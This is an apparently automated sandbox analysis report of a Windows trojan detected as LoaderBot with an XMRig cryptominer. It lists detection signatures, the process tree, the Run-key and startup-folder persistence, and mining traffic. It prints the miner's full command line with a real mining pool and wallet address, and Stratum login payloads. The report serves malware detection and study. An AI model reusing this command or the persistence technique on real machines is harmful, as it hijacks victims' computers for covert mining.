Edit tour

Windows Analysis Report
kWYLtJ0Cn1.exe

Overview

General Information

Sample name:	kWYLtJ0Cn1.exe renamed because original name is a hash value
Original sample name:	917f9d9d484f8657efc7f60b8adde947.exe
Analysis ID:	1479411
MD5:	917f9d9d484f8657efc7f60b8adde947
SHA1:	01e4648cef9fb934429d63471127805120202ca9
SHA256:	1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4
Tags:	32exetrojan
Infos:

Detection

LoaderBot, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Xmrig

Yara detected LoaderBot

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to inject code into remote processes

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Injects a PE file into a foreign processes

Machine Learning detection for sample

Sigma detected: Potential Crypto Mining Activity

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

kWYLtJ0Cn1.exe (PID: 7312 cmdline: "C:\Users\user\Desktop\kWYLtJ0Cn1.exe" MD5: 917F9D9D484F8657EFC7F60B8ADDE947)

RegAsm.exe (PID: 7368 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Driver.exe (PID: 7476 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 7588 cmdline: C:\Windows\system32\WerFault.exe -u -p 7476 -s 764 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

Driver.exe (PID: 7632 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 4208 cmdline: C:\Windows\system32\WerFault.exe -u -p 7632 -s 864 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

Driver.exe (PID: 6272 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 6564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 8012 cmdline: C:\Windows\system32\WerFault.exe -u -p 6272 -s 864 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

Driver.exe (PID: 4336 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7540 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7572 cmdline: C:\Windows\system32\WerFault.exe -pss -s 444 -p 7476 -ip 7476 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 3052 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 1368 cmdline: C:\Windows\system32\WerFault.exe -pss -s 476 -p 7632 -ip 7632 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 4520 cmdline: C:\Windows\system32\WerFault.exe -pss -s 544 -p 6272 -ip 6272 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.3707277603.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.4118678441.0000000000421000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.3093772534.0000000000466000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.2163629523.0000000000465000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
00000002.00000002.1743254277.0000000000507000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000010.00000003.3283522965.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.2163629523.0000000000463000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
00000010.00000002.3707277603.0000000000581000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000002.3093652919.000000000043D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.1743254277.00000000004E5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000010.00000003.3184707132.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000010.00000003.3383726249.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.2064137301.0000000000464000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000003.2399480104.0000000000465000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x22d4f8:$a1: mining.set_target 0x228fd8:$a2: XMRIG_HOSTNAME 0x22b048:$a3: Usage: xmrig [OPTIONS] 0x228fb0:$a4: XMRIG_VERSION
00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x22d4f8:$a1: mining.set_target 0x228fd8:$a2: XMRIG_HOSTNAME 0x22b048:$a3: Usage: xmrig [OPTIONS] 0x228fb0:$a4: XMRIG_VERSION
Process Memory Space: kWYLtJ0Cn1.exe PID: 7312	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: kWYLtJ0Cn1.exe PID: 7312	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
Process Memory Space: RegAsm.exe PID: 7368	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: RegAsm.exe PID: 7368	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
Process Memory Space: Driver.exe PID: 7476	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 7476	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x5d886:$a1: mining.set_target 0x5a6e4:$a2: XMRIG_HOSTNAME 0x5b796:$a3: Usage: xmrig [OPTIONS] 0x5a6c5:$a4: XMRIG_VERSION
Process Memory Space: Driver.exe PID: 7632	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 6272	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 4336	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 4336	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x53973:$a1: mining.set_target 0x507d1:$a2: XMRIG_HOSTNAME 0x51883:$a3: Usage: xmrig [OPTIONS] 0x507b2:$a4: XMRIG_VERSION
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.kWYLtJ0Cn1.exe.ffcbc0.1.unpack	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
0.2.kWYLtJ0Cn1.exe.ffcbc0.1.unpack	MALWARE_Win_CoinMiner04	Detects coinmining malware	ditekSHen	0x3f3735:$s1: createDll 0x3f3a21:$s2: getTasks 0x3f388f:$s3: SetStartup 0x3f3763:$s4: loadUrl 0x3f3912:$s5: Processer 0x3f3a8e:$s6: checkProcess 0x3f3a9b:$s7: runProcess 0x3f393a:$s8: createDir 0x3f3c4f:$cnc1: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 0x3f3ce3:$cnc2: ?hwid= 0x3f3d13:$cnc3: ?timeout=1 0x3f3e45:$cnc4: &completed=
1.2.RegAsm.exe.400000.0.unpack	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
1.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_CoinMiner04	Detects coinmining malware	ditekSHen	0x3f5535:$s1: createDll 0x3f5821:$s2: getTasks 0x3f568f:$s3: SetStartup 0x3f5563:$s4: loadUrl 0x3f5712:$s5: Processer 0x3f588e:$s6: checkProcess 0x3f589b:$s7: runProcess 0x3f573a:$s8: createDir 0x3f5a4f:$cnc1: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 0x3f5ae3:$cnc2: ?hwid= 0x3f5b13:$cnc3: ?timeout=1 0x3f5c45:$cnc4: &completed=
0.2.kWYLtJ0Cn1.exe.f60000.0.unpack	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
0.2.kWYLtJ0Cn1.exe.f60000.0.unpack	MALWARE_Win_CoinMiner04	Detects coinmining malware	ditekSHen	0x48fef5:$s1: createDll 0x4901e1:$s2: getTasks 0x49004f:$s3: SetStartup 0x48ff23:$s4: loadUrl 0x4900d2:$s5: Processer 0x49024e:$s6: checkProcess 0x49025b:$s7: runProcess 0x4900fa:$s8: createDir 0x49040f:$cnc1: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 0x4904a3:$cnc2: ?hwid= 0x4904d3:$cnc3: ?timeout=1 0x490605:$cnc4: &completed=
Click to see the 1 entries

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2, CommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, NewProcessName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 7368, ParentProcessName: RegAsm.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2, ProcessId: 7476, ProcessName: Driver.exe

System Summary

Sigma detected: Potential Crypto Mining Activity

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2, CommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, NewProcessName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ParentProcessId: 7368, ParentProcessName: RegAsm.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 2, ProcessId: 7476, ProcessName: Driver.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Sysfiles\RegAsm.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 7368, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 7540, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 7368, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO COINMINER XMR CoinMiner Usage - Source IP: 192.168.2.4 - Destination IP: 141.94.96.71

Timestamp:	2024-07-23T15:48:56.694363+0200
SID:	2826930
Source Port:	49738
Destination Port:	3333
Protocol:	TCP
Classtype:	Crypto Currency Mining Activity Detected

ETPRO COINMINER XMR CoinMiner Usage - Source IP: 192.168.2.4 - Destination IP: 141.94.96.144

Timestamp:	2024-07-23T15:45:21.326757+0200
SID:	2826930
Source Port:	49743
Destination Port:	3333
Protocol:	TCP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-23T15:45:36.297076+0200
SID:	2047928
Source Port:	51744
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ETPRO COINMINER XMR CoinMiner Usage - Source IP: 192.168.2.4 - Destination IP: 141.94.96.195

Timestamp:	2024-07-23T15:47:54.453933+0200
SID:	2826930
Source Port:	49730
Destination Port:	3333
Protocol:	TCP
Classtype:	Crypto Currency Mining Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: kWYLtJ0Cn1.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: kWYLtJ0Cn1.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: kWYLtJ0Cn1.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000010.00000002.3707277603.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4118678441.0000000000421000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3093772534.0000000000466000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2163629523.0000000000465000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1743254277.0000000000507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.3283522965.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2163629523.0000000000463000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3707277603.0000000000581000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3093652919.000000000043D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1743254277.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.3184707132.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.3383726249.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2064137301.0000000000464000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2399480104.0000000000465000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4119483358.0000000140001000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1744696812.0000000140001000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kWYLtJ0Cn1.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7368, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 7632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 6272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 4336, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 141.94.96.195:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49738 -> 141.94.96.71:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 141.94.96.71:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 141.94.96.144:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 141.94.96.195:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 141.94.96.195:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 141.94.96.144:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"44wu5qltvqr3byskyjrsngj6jlvgtbpnxm28eiiqyz7fin6ki9mnbucuqghqqjpeon1vzqq1twj21hupxahrxep32cjkndp","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
